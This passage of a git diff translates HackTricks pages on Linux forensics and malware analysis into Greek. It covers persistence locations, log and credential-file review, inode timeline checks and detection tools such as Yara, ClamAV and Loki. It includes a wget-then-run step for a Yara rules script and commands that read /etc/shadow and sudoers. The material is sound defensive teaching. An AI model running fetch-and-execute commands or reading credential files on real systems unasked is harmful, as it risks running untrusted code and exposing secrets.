for service startup, the latter being found in older Linux versions. -- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts. -- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant. -- **/etc/systemd/system**: A directory for system and service manager scripts. -- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel. -- **/usr/local/etc/rc.d/**: For custom or third-party services. -- **\~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware. -- **/lib/systemd/system/**: System-wide default unit files provided by installed packages. +### Μονάδες Πυρήνα -### Kernel Modules +Οι μονάδες πυρήνα Linux, που συχνά χρησιμοποιούνται από κακόβουλο λογισμικό ως στοιχεία rootkit, φορτώνονται κατά την εκκίνηση του συστήματος. Οι φάκελοι και τα αρχεία που είναι κρίσιμα για αυτές τις μονάδες περιλαμβάνουν: -Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include: +- **/lib/modules/$(uname -r)**: Περιέχει μονάδες για την τρέχουσα έκδοση του πυρήνα. +- **/etc/modprobe.d**: Περιέχει αρχεία ρυθμίσεων για τον έλεγχο της φόρτωσης μονάδων. +- **/etc/modprobe** και **/etc/modprobe.conf**: Αρχεία για παγκόσμιες ρυθμίσεις μονάδων. -- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version. -- **/etc/modprobe.d**: Contains configuration files to control module loading. -- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings. +### Άλλες Τοποθεσίες Αυτόματης Εκκίνησης -### Other Autostart Locations +Το Linux χρησιμοποιεί διάφορα αρχεία για την αυτόματη εκτέλεση προγραμμάτων κατά την είσοδο του χρήστη, ενδεχομένως φιλοξενώντας κακόβουλο λογισμικό: -Linux employs various files for automatically executing programs upon user login, potentially harboring malware: +- **/etc/profile.d/**\*, **/etc/profile**, και **/etc/bash.bashrc**: Εκτελούνται για οποιαδήποτε είσοδο χρήστη. +- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, και **\~/.config/autostart**: Αρχεία που σχετίζονται με τον χρήστη που εκτελούνται κατά την είσοδό τους. +- **/etc/rc.local**: Εκτελείται μετά την εκκίνηση όλων των υπηρεσιών του συστήματος, σηματοδοτώντας το τέλος της μετάβασης σε περιβάλλον πολλαπλών χρηστών. -- **/etc/profile.d/**\*, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, and **\~/.config/autostart**: User-specific files that run upon their login. -- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment. +## Εξέταση Καταγραφών -## Examine Logs +Τα συστήματα Linux παρακολουθούν τις δραστηριότητες χρηστών και τα γεγονότα του συστήματος μέσω διαφόρων αρχείων καταγραφής. Αυτές οι καταγραφές είναι κρίσιμες για την αναγνώριση μη εξουσιοδοτημένης πρόσβασης, λοιμώξεων από κακόβουλο λογισμικό και άλλων περιστατικών ασφαλείας. Κύρια αρχεία καταγραφής περιλαμβάνουν: -Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include: - -- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities. -- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins. - - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events. -- **/var/log/boot.log**: Contains system startup messages. -- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services. -- **/var/log/kern.log**: Stores kernel messages, including errors and warnings. -- **/var/log/dmesg**: Holds device driver messages. -- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations. -- **/var/log/cron**: Logs cron job executions. -- **/var/log/daemon.log**: Tracks background service activities. -- **/var/log/btmp**: Documents failed login attempts. -- **/var/log/httpd/**: Contains Apache HTTPD error and access logs. -- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities. -- **/var/log/xferlog**: Records FTP file transfers. -- **/var/log/**: Always check for unexpected logs here. +- **/var/log/syslog** (Debian) ή **/var/log/messages** (RedHat): Καταγράφουν μηνύματα και δραστηριότητες σε επίπεδο συστήματος. +- **/var/log/auth.log** (Debian) ή **/var/log/secure** (RedHat): Καταγράφουν προσπάθειες αυθεντικοποίησης, επιτυχείς και αποτυχημένες συνδέσεις. +- Χρησιμοποιήστε `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` για να φιλτράρετε σχετικά γεγονότα αυθεντικοποίησης. +- **/var/log/boot.log**: Περιέχει μηνύματα εκκίνησης του συστήματος. +- **/var/log/maillog** ή **/var/log/mail.log**: Καταγράφει δραστηριότητες του διακομιστή email, χρήσιμο για την παρακολούθηση υπηρεσιών που σχετίζονται με email. +- **/var/log/kern.log**: Αποθηκεύει μηνύματα πυρήνα, συμπεριλαμβανομένων σφαλμάτων και προειδοποιήσεων. +- **/var/log/dmesg**: Περιέχει μηνύματα οδηγών συσκευών. +- **/var/log/faillog**: Καταγράφει αποτυχημένες προσπάθειες σύνδεσης, βοηθώντας στις έρευνες παραβίασης ασφαλείας. +- **/var/log/cron**: Καταγράφει εκτελέσεις εργασιών cron. +- **/var/log/daemon.log**: Παρακολουθεί δραστηριότητες υπηρεσιών παρασκηνίου. +- **/var/log/btmp**: Καταγράφει αποτυχημένες προσπάθειες σύνδεσης. +- **/var/log/httpd/**: Περιέχει αρχεία καταγραφής σφαλμάτων και πρόσβασης του Apache HTTPD. +- **/var/log/mysqld.log** ή **/var/log/mysql.log**: Καταγράφει δραστηριότητες της βάσης δεδομένων MySQL. +- **/var/log/xferlog**: Καταγράφει μεταφορές αρχείων FTP. +- **/var/log/**: Ελέγξτε πάντα για απροσδόκητες καταγραφές εδώ. > [!NOTE] -> Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. +> Οι καταγραφές συστήματος Linux και τα υποσυστήματα ελέγχου μπορεί να είναι απενεργοποιημένα ή διαγραμμένα σε περίπτωση παραβίασης ή περιστατικού κακόβουλου λογισμικού. Δεδομένου ότι οι καταγραφές σε συστήματα Linux περιέχουν γενικά μερικές από τις πιο χρήσιμες πληροφορίες σχετικά με κακόβουλες δραστηριότητες, οι εισβολείς τις διαγράφουν τακτικά. Επομένως, κατά την εξέταση διαθέσιμων αρχείων καταγραφής, είναι σημαντικό να αναζητήσετε κενά ή μη κανονικές καταχωρήσεις που μπορεί να είναι ένδειξη διαγραφής ή παραποίησης. -**Linux maintains a command history for each user**, stored in: +**Το Linux διατηρεί ένα ιστορικό εντολών για κάθε χρήστη**, αποθηκευμένο σε: - \~/.bash_history - \~/.zsh_history @@ -297,42 +257,39 @@ Linux systems track user activities and system events through various log files. - \~/.python_history - \~/.\*\_history -Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins. +Επιπλέον, η εντολή `last -Faiwx` παρέχει μια λίστα με τις συνδέσεις χρηστών. Ελέγξτε την για άγνωστες ή απροσδόκητες συνδέσεις. -Check files that can grant extra rprivileges: +Ελέγξτε αρχεία που μπορούν να παραχωρήσουν επιπλέον δικαιώματα: -- Review `/etc/sudoers` for unanticipated user privileges that may have been granted. -- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted. -- Examine `/etc/groups` to identify any unusual group memberships or permissions. -- Examine `/etc/passwd` to identify any unusual group memberships or permissions. +- Εξετάστε το `/etc/sudoers` για απροσδόκητα δικαιώματα χρηστών που μπορεί να έχουν παραχωρηθεί. +- Εξετάστε το `/etc/sudoers.d/` για απροσδόκητα δικαιώματα χρηστών που μπορεί να έχουν παραχωρηθεί. +- Εξετάστε το `/etc/groups` για να εντοπίσετε οποιαδήποτε ασυνήθιστη μέλη ομάδας ή δικαιώματα. +- Εξετάστε το `/etc/passwd` για να εντοπίσετε οποιαδήποτε ασυνήθιστη μέλη ομάδας ή δικαιώματα. -Some apps alse generates its own logs: +Ορισμένες εφαρμογές επίσης δημιουργούν τα δικά τους αρχεία καταγραφής: -- **SSH**: Examine _\~/.ssh/authorized_keys_ and _\~/.ssh/known_hosts_ for unauthorized remote connections. -- **Gnome Desktop**: Look into _\~/.recently-used.xbel_ for recently accessed files via Gnome applications. -- **Firefox/Chrome**: Check browser history and downloads in _\~/.mozilla/firefox_ or _\~/.config/google-chrome_ for suspicious activities. -- **VIM**: Review _\~/.viminfo_ for usage details, such as accessed file paths and search history. -- **Open Office**: Check for recent document access that may indicate compromised files. -- **FTP/SFTP**: Review logs in _\~/.ftp_history_ or _\~/.sftp_history_ for file transfers that might be unauthorized. -- **MySQL**: Investigate _\~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities. -- **Less**: Analyze _\~/.lesshst_ for usage history, including viewed files and commands executed. -- **Git**: Examine _\~/.gitconfig_ and project _.git/logs_ for changes to repositories. +- **SSH**: Εξετάστε το _\~/.ssh/authorized_keys_ και _\~/.ssh/known_hosts_ για μη εξουσιοδοτημένες απομακρυσμένες συνδέσεις. +- **Gnome Desktop**: Ρίξτε μια ματιά στο _\~/.recently-used.xbel_ για πρόσφατα προσπελάσιμα αρχεία μέσω εφαρμογών Gnome. +- **Firefox/Chrome**: Ελέγξτε το ιστορικό του προγράμματος περιήγησης και τις λήψεις στο _\~/.mozilla/firefox_ ή _\~/.config/google-chrome_ για ύποπτες δραστηριότητες. +- **VIM**: Εξετάστε το _\~/.viminfo_ για λεπτομέρειες χρήσης, όπως διαδρομές αρχείων που προσπελάστηκαν και ιστορικό αναζητήσεων. +- **Open Office**: Ελέγξτε για πρόσφατη πρόσβαση σε έγγραφα που μπορεί να υποδηλώνει παραβιασμένα αρχεία. +- **FTP/SFTP**: Εξετάστε τα αρχεία καταγραφής στο _\~/.ftp_history_ ή _\~/.sftp_history_ για μεταφορές αρχείων που μπορεί να είναι μη εξουσιοδοτημένες. +- **MySQL**: Εξετάστε το _\~/.mysql_history_ για εκτελεσμένα ερωτήματα MySQL, που μπορεί να αποκαλύπτουν μη εξουσιοδοτημένες δραστηριότητες βάσης δεδομένων. +- **Less**: Αναλύστε το _\~/.lesshst_ για ιστορικό χρήσης, συμπεριλαμβανομένων των αρχείων που προβλήθηκαν και των εντολών που εκτελέστηκαν. +- **Git**: Εξετάστε το _\~/.gitconfig_ και το έργο _.git/logs_ για αλλαγές σε αποθετήρια. -### USB Logs +### Καταγραφές USB -[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. +[**usbrip**](https://github.com/snovvcrash/usbrip) είναι ένα μικρό κομμάτι λογισμικού γραμμένο σε καθαρή Python 3 που αναλύει τα αρχεία καταγραφής Linux (`/var/log/syslog*` ή `/var/log/messages*` ανάλογα με τη διανομή) για την κατασκευή πινάκων ιστορικού γεγονότων USB. -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list). - -### Installation +Είναι ενδιαφέρον να **γνωρίζετε όλα τα USB που έχουν χρησιμοποιηθεί** και θα είναι πιο χρήσιμο αν έχετε μια εξουσιοδοτημένη λίστα USB για να βρείτε "γεγονότα παραβίασης" (η χρήση USB που δεν είναι μέσα σε αυτή τη λίστα). +### Εγκατάσταση ```bash pip3 install usbrip usbrip ids download #Download USB ID database ``` - -### Examples - +### Παραδείγματα ```bash usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -340,40 +297,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` +Περισσότερα παραδείγματα και πληροφορίες μέσα στο github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) -More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) +## Ανασκόπηση Λογαριασμών Χρηστών και Δραστηριοτήτων Σύνδεσης -
+Εξετάστε τα _**/etc/passwd**_, _**/etc/shadow**_ και **ασφαλιστικά αρχεία** για ασυνήθιστα ονόματα ή λογαριασμούς που δημιουργήθηκαν και ή χρησιμοποιήθηκαν κοντά σε γνωστά μη εξουσιοδοτημένα γεγονότα. Επίσης, ελέγξτε πιθανές επιθέσεις brute-force sudo.\ +Επιπλέον, ελέγξτε αρχεία όπως _**/etc/sudoers**_ και _**/etc/groups**_ για απροσδόκητα προνόμια που δίνονται σε χρήστες.\ +Τέλος, αναζητήστε λογαριασμούς με **κανέναν κωδικό πρόσβασης** ή **εύκολα μαντεύσιμους** κωδικούς πρόσβασης. -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +## Εξέταση Συστήματος Αρχείων -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +### Ανάλυση Δομών Συστήματος Αρχείων σε Έρευνες Κακόβουλου Λογισμικού -## Review User Accounts and Logon Activities +Κατά την έρευνα περιστατικών κακόβουλου λογισμικού, η δομή του συστήματος αρχείων είναι μια κρίσιμη πηγή πληροφοριών, αποκαλύπτοντας τόσο τη σειρά των γεγονότων όσο και το περιεχόμενο του κακόβουλου λογισμικού. Ωστόσο, οι συγγραφείς κακόβουλου λογισμικού αναπτύσσουν τεχνικές για να εμποδίσουν αυτή την ανάλυση, όπως η τροποποίηση των χρονικών σφραγίδων αρχείων ή η αποφυγή του συστήματος αρχείων για αποθήκευση δεδομένων. -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\ -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally, look for accounts with **no passwords** or **easily guessed** passwords. - -## Examine File System - -### Analyzing File System Structures in Malware Investigation - -When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage. - -To counter these anti-forensic methods, it's essential to: - -- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data. -- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers. -- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files. -- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content. -- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers. -- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans. -- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together. -- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware. +Για να αντισταθούμε σε αυτές τις μεθόδους αντεπίθεσης, είναι απαραίτητο να: +- **Διεξάγετε μια λεπτομερή ανάλυση χρονολογίας** χρησιμοποιώντας εργαλεία όπως το **Autopsy** για την οπτικοποίηση χρονολογιών γεγονότων ή το `mactime` του **Sleuth Kit** για λεπτομερή δεδομένα χρονολογίας. +- **Εξετάστε απροσδόκητα σενάρια** στο $PATH του συστήματος, τα οποία μπορεί να περιλαμβάνουν shell ή PHP σενάρια που χρησιμοποιούνται από επιτιθέμενους. +- **Εξετάστε το `/dev` για ασυνήθιστα αρχεία**, καθώς παραδοσιακά περιέχει ειδικά αρχεία, αλλά μπορεί να φιλοξενεί αρχεία που σχετίζονται με κακόβουλο λογισμικό. +- **Αναζητήστε κρυφά αρχεία ή καταλόγους** με ονόματα όπως ".. " (dot dot space) ή "..^G" (dot dot control-G), τα οποία θα μπορούσαν να κρύβουν κακόβουλο περιεχόμενο. +- **Εντοπίστε αρχεία setuid root** χρησιμοποιώντας την εντολή: `find / -user root -perm -04000 -print` Αυτό βρίσκει αρχεία με ανυψωμένα δικαιώματα, τα οποία θα μπορούσαν να καταχραστούν από επιτιθέμενους. +- **Ανασκοπήστε τις χρονικές σφραγίδες διαγραφής** στους πίνακες inode για να εντοπίσετε μαζικές διαγραφές αρχείων, πιθανώς υποδεικνύοντας την παρουσία rootkits ή trojans. +- **Επιθεωρήστε διαδοχικά inodes** για κοντινά κακόβουλα αρχεία μετά την αναγνώριση ενός, καθώς μπορεί να έχουν τοποθετηθεί μαζί. +- **Ελέγξτε κοινούς καταλόγους δυαδικών αρχείων** (_/bin_, _/sbin_) για πρόσφατα τροποποιημένα αρχεία, καθώς αυτά θα μπορούσαν να έχουν τροποποιηθεί από κακόβουλο λογισμικό. ````bash # List recent files in a directory: ls -laR --sort=time /bin``` @@ -381,58 +328,43 @@ ls -laR --sort=time /bin``` # Sort files in a directory by inode: ls -lai /bin | sort -n``` ```` - > [!NOTE] -> Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +> Σημειώστε ότι ένας **επιτιθέμενος** μπορεί να **τροποποιήσει** τον **χρόνο** για να κάνει τα **αρχεία να φαίνονται** **νόμιμα**, αλλά δεν μπορεί να **τροποποιήσει** το **inode**. Εάν διαπιστώσετε ότι ένα **αρχείο** υποδεικνύει ότι δημιουργήθηκε και τροποποιήθηκε την **ίδια στιγμή** με τα υπόλοιπα αρχεία στον ίδιο φάκελο, αλλά το **inode** είναι **αναπάντεχα μεγαλύτερο**, τότε οι **χρόνοι του αρχείου αυτού τροποποιήθηκαν**. -## Compare files of different filesystem versions +## Σύγκριση αρχείων διαφορετικών εκδόσεων συστήματος αρχείων -### Filesystem Version Comparison Summary +### Περίληψη Σύγκρισης Εκδόσεων Συστήματος Αρχείων -To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands: - -- **To find new files**, compare two directories: +Για να συγκρίνουμε εκδόσεις συστήματος αρχείων και να εντοπίσουμε αλλαγές, χρησιμοποιούμε απλοποιημένες εντολές `git diff`: +- **Για να βρείτε νέα αρχεία**, συγκρίνετε δύο καταλόγους: ```bash git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ ``` - -- **For modified content**, list changes while ignoring specific lines: - +- **Για τροποποιημένο περιεχόμενο**, καταγράψτε τις αλλαγές αγνοώντας συγκεκριμένες γραμμές: ```bash git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` - -- **To detect deleted files**: - +- **Για να ανιχνεύσετε διαγραμμένα αρχεία**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` +- **Επιλογές φίλτρου** (`--diff-filter`) βοηθούν στη στένωση σε συγκεκριμένες αλλαγές όπως προσθήκες (`A`), διαγραφές (`D`), ή τροποποιημένα (`M`) αρχεία. +- `A`: Προσθήκες αρχείων +- `C`: Αντιγραμμένα αρχεία +- `D`: Διαγραμμένα αρχεία +- `M`: Τροποποιημένα αρχεία +- `R`: Μετονομασμένα αρχεία +- `T`: Αλλαγές τύπου (π.χ., αρχείο σε symlink) +- `U`: Μη συγχωνευμένα αρχεία +- `X`: Άγνωστα αρχεία +- `B`: Σπασμένα αρχεία -- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files. - - `A`: Added files - - `C`: Copied files - - `D`: Deleted files - - `M`: Modified files - - `R`: Renamed files - - `T`: Type changes (e.g., file to symlink) - - `U`: Unmerged files - - `X`: Unknown files - - `B`: Broken files - -## References +## Αναφορές - [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) - [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) - [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** +- **Βιβλίο: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/forensics/basic-forensic-methodology/malware-analysis.md b/src/forensics/basic-forensic-methodology/malware-analysis.md index c7edd6650..27a81e97b 100644 --- a/src/forensics/basic-forensic-methodology/malware-analysis.md +++ b/src/forensics/basic-forensic-methodology/malware-analysis.md @@ -1,12 +1,12 @@ -# Malware Analysis +# Ανάλυση Κακόβουλου Λογισμικού {{#include ../../banners/hacktricks-training.md}} -## Forensics CheatSheets +## CheatSheets Εγκληματολογίας [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) -## Online Services +## Διαδικτυακές Υπηρεσίες - [VirusTotal](https://www.virustotal.com/gui/home/upload) - [HybridAnalysis](https://www.hybrid-analysis.com) @@ -14,136 +14,119 @@ - [Intezer](https://analyze.intezer.com) - [Any.Run](https://any.run/) -## Offline Antivirus and Detection Tools +## Offline Antivirus και Εργαλεία Ανίχνευσης ### Yara -#### Install - +#### Εγκατάσταση ```bash sudo apt-get install -y yara ``` +#### Ετοιμάστε κανόνες -#### Prepare rules - -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. - +Χρησιμοποιήστε αυτό το σενάριο για να κατεβάσετε και να συγχωνεύσετε όλους τους κανόνες yara malware από το github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +Δημιουργήστε τον φάκελο _**rules**_ και εκτελέστε τον. Αυτό θα δημιουργήσει ένα αρχείο με όνομα _**malware_rules.yar**_ που περιέχει όλους τους κανόνες yara για malware. ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` - -#### Scan - +#### Σάρωση ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` +#### YaraGen: Έλεγχος για κακόβουλο λογισμικό και Δημιουργία κανόνων -#### YaraGen: Check for malware and Create rules - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - +Μπορείτε να χρησιμοποιήσετε το εργαλείο [**YaraGen**](https://github.com/Neo23x0/yarGen) για να δημιουργήσετε κανόνες yara από ένα δυαδικό αρχείο. Δείτε αυτά τα σεμινάρια: [**Μέρος 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Μέρος 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Μέρος 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash - python3 yarGen.py --update - python3.exe yarGen.py --excludegood -m ../../mals/ +python3 yarGen.py --update +python3.exe yarGen.py --excludegood -m ../../mals/ ``` - ### ClamAV -#### Install - +#### Εγκατάσταση ``` sudo apt-get install -y clamav ``` - -#### Scan - +#### Σάρωση ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file clamscan folderpath #Scan the whole folder ``` - ### [Capa](https://github.com/mandiant/capa) -**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as: +**Capa** ανιχνεύει δυνητικά κακόβουλες **ικανότητες** σε εκτελέσιμα: PE, ELF, .NET. Έτσι θα βρει πράγματα όπως τακτικές Att\&ck ή ύποπτες ικανότητες όπως: -- check for OutputDebugString error -- run as a service -- create process +- έλεγχος για σφάλμα OutputDebugString +- εκτέλεση ως υπηρεσία +- δημιουργία διαδικασίας -Get it int he [**Github repo**](https://github.com/mandiant/capa). +Αποκτήστε το στο [**Github repo**](https://github.com/mandiant/capa). ### IOCs -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\ -To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. +IOC σημαίνει Δείκτης Συμβιβασμού. Ένα IOC είναι ένα σύνολο **συνθηκών που προσδιορίζουν** κάποιο δυνητικά ανεπιθύμητο λογισμικό ή επιβεβαιωμένο **κακόβουλο λογισμικό**. Οι Blue Teams χρησιμοποιούν αυτόν τον τύπο ορισμού για να **αναζητούν αυτόν τον τύπο κακόβουλων αρχείων** στα **συστήματα** και **δίκτυά** τους.\ +Η κοινοποίηση αυτών των ορισμών είναι πολύ χρήσιμη, καθώς όταν εντοπίζεται κακόβουλο λογισμικό σε έναν υπολογιστή και δημιουργείται ένα IOC για αυτό το κακόβουλο λογισμικό, άλλες Blue Teams μπορούν να το χρησιμοποιήσουν για να εντοπίσουν το κακόβουλο λογισμικό πιο γρήγορα. -A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. +Ένα εργαλείο για τη δημιουργία ή την τροποποίηση IOCs είναι το [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ +Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**Redline**](https://www.fireeye.com/services/freeware/redline.html) για να **αναζητήσετε καθορισμένα IOCs σε μια συσκευή**. ### Loki -[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ -Detection is based on four detection methods: - +[**Loki**](https://github.com/Neo23x0/Loki) είναι ένας σαρωτής για Απλούς Δείκτες Συμβιβασμού.\ +Η ανίχνευση βασίζεται σε τέσσερις μεθόδους ανίχνευσης: ``` 1. File Name IOC - Regex match on full file path/name +Regex match on full file path/name 2. Yara Rule Check - Yara signature matches on file data and process memory +Yara signature matches on file data and process memory 3. Hash Check - Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files +Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files 4. C2 Back Connect Check - Compares process connection endpoints with C2 IOCs (new since version v.10) +Compares process connection endpoints with C2 IOCs (new since version v.10) ``` - ### Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) είναι ένας σαρωτής κακόβουλου λογισμικού για Linux που κυκλοφόρησε υπό την άδεια GNU GPLv2, σχεδιασμένος γύρω από τις απειλές που αντιμετωπίζονται σε κοινές φιλοξενούμενες περιβάλλοντα. Χρησιμοποιεί δεδομένα απειλών από συστήματα ανίχνευσης εισβολών στο δίκτυο για να εξάγει κακόβουλο λογισμικό που χρησιμοποιείται ενεργά σε επιθέσεις και δημιουργεί υπογραφές για ανίχνευση. Επιπλέον, τα δεδομένα απειλών προέρχονται επίσης από υποβολές χρηστών με τη δυνατότητα checkout του LMD και πόρους της κοινότητας κακόβουλου λογισμικού. ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. - +Εργαλεία όπως το [**rkhunter**](http://rkhunter.sourceforge.net) μπορούν να χρησιμοποιηθούν για να ελέγξουν το σύστημα αρχείων για πιθανά **rootkits** και κακόβουλο λογισμικό. ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` - ### FLOSS -[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques. +[**FLOSS**](https://github.com/mandiant/flare-floss) είναι ένα εργαλείο που θα προσπαθήσει να βρει κωδικοποιημένες συμβολοσειρές μέσα σε εκτελέσιμα χρησιμοποιώντας διάφορες τεχνικές. ### PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). +[PEpper ](https://github.com/Th3Hurrican3/PEpper)ελέγχει κάποια βασικά στοιχεία 